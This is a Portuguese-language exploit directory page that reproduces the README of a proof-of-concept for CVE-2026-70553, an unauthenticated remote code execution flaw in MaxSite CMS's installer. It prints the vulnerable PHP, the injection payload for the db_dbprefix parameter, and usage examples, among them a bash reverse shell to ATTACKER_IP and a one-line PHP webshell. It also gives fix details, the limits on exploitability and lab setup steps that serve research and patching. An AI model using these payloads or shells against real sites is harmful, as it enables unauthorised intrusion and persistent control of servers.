Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-70553-PoC — Exploit de prova de conceito para CVE-2026-70553, que permite RCE não autenticado no MaxSite CMS por meio de injeção persistente de PHP em database.php através do endpoint de instalação. | Kitploit
Ferramentas/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Geração de PayloadsExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Exploit de prova de conceito para CVE-2026-70553, que permite RCE não autenticado no MaxSite CMS por meio de injeção persistente de PHP em database.php através do endpoint de instalação.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
11há 1 mêsAinda não revisado
Compartilhar

CVE-2026-70553 - RCE não autenticado no MaxSite CMS

CVE CVSS

Prova de Conceito para CVE-2026-70553: Execução remota de código não autenticada no MaxSite CMS por meio de injeção persistente de código PHP em database.php através do endpoint de instalação.


Aviso Legal

Este PoC destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada. O autor não se responsabiliza por qualquer uso indevido ou dano causado por este código. Teste apenas em sistemas que você possua ou sobre os quais tenha permissão explícita por escrito para testar.


Visão Geral da Vulnerabilidade

As versões 105.2 a 109.5 do MaxSite CMS contêm uma vulnerabilidade crítica de execução remota de código não autenticada no endpoint de instalação. O parâmetro db_dbprefix é concatenado diretamente em código PHP sem sanitização, permitindo que atacantes injetem instruções PHP arbitrárias em . Como esse arquivo é incluído em toda requisição, o código injetado alcança RCE persistente.

application/config/database.php

Versões Afetadas

  • MaxSite CMS 105.2 - 109.5
  • Corrigido em: 109.6 (2026-06-08)

Detalhes Técnicos

Causa Raiz

Em install/installer/functions.php, a função newDatabase() constrói o conteúdo de database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Mecanismo de Exploração

Ao injetar um payload como:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

O database.php gerado se torna:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Isso rompe o literal de string e injeta código PHP arbitrário.

Correção (109.6)

A correção adicionou uma verificação para impedir a reinstalação:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Uso

Instalação

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Uso Básico

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Opções

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

Restrições de Exploração

CRÍTICO: Esta vulnerabilidade tem limitações práticas severas em cenários do mundo real.

Requisitos

  1. O endpoint de instalação deve estar acessível (diretório /install/ não removido)
  2. As tabelas do banco de dados NÃO devem existir ainda (instalação nova ou banco de dados limpo)
    • A função newDatabase() só é chamada se as tabelas não existirem
    • Isso é verificado em install/installer/post.php por meio de checkTableExists()

Por Que a Maioria dos Sites NÃO É Vulnerável

  • Sites em produção concluíram a instalação → As tabelas existem → newDatabase() nunca é chamada
  • Mesmo que /install/ esteja acessível, o caminho de código até a injeção é bloqueado pela verificação de existência das tabelas
  • Nossa varredura em massa constatou que apenas ~24% dos sites tinham o endpoint de instalação acessível, e 0% eram realmente exploráveis devido às tabelas existentes no banco de dados

Explorabilidade no Mundo Real

  • Teórica: Crítica (CVSS 9.8)
  • Prática: Muito Baixa
  • Perfil de Alvo Realista:
    • Instalação interrompida no meio do processo
    • Banco de dados removido manualmente, mas o código permanece
    • Instâncias novas de teste/dev (não produção)

Reprodução Local

Para verificar esta vulnerabilidade em um ambiente controlado:

Configuração do Ambiente Vulnerável

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Verificação da Injeção

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Referências

  • CVE-2026-70553 - Registro CVE
  • Entrada NVD
  • Advisory da VulnCheck
  • MaxSite CMS no GitHub
  • Commit da Correção (109.6)

Linha do Tempo

  • 2026-06-08: MaxSite CMS 109.6 lançado com a correção
  • 2026-08-04: CVE-2026-70553 publicado
  • 2026-08-06: PoC lançado

Créditos

  • Descoberta: Amir Aliu & Enrik Mustafa (VulnCheck)
  • Desenvolvimento do PoC: Pesquisador de Segurança
  • Fornecedor: Equipe MaxSite CMS

Licença

Este projeto é lançado sob a Licença MIT. Consulte LICENSE para obter detalhes.


Lembre-se: Sempre pratique divulgação responsável e obtenha autorização adequada antes de testar.

Baixar ferramenta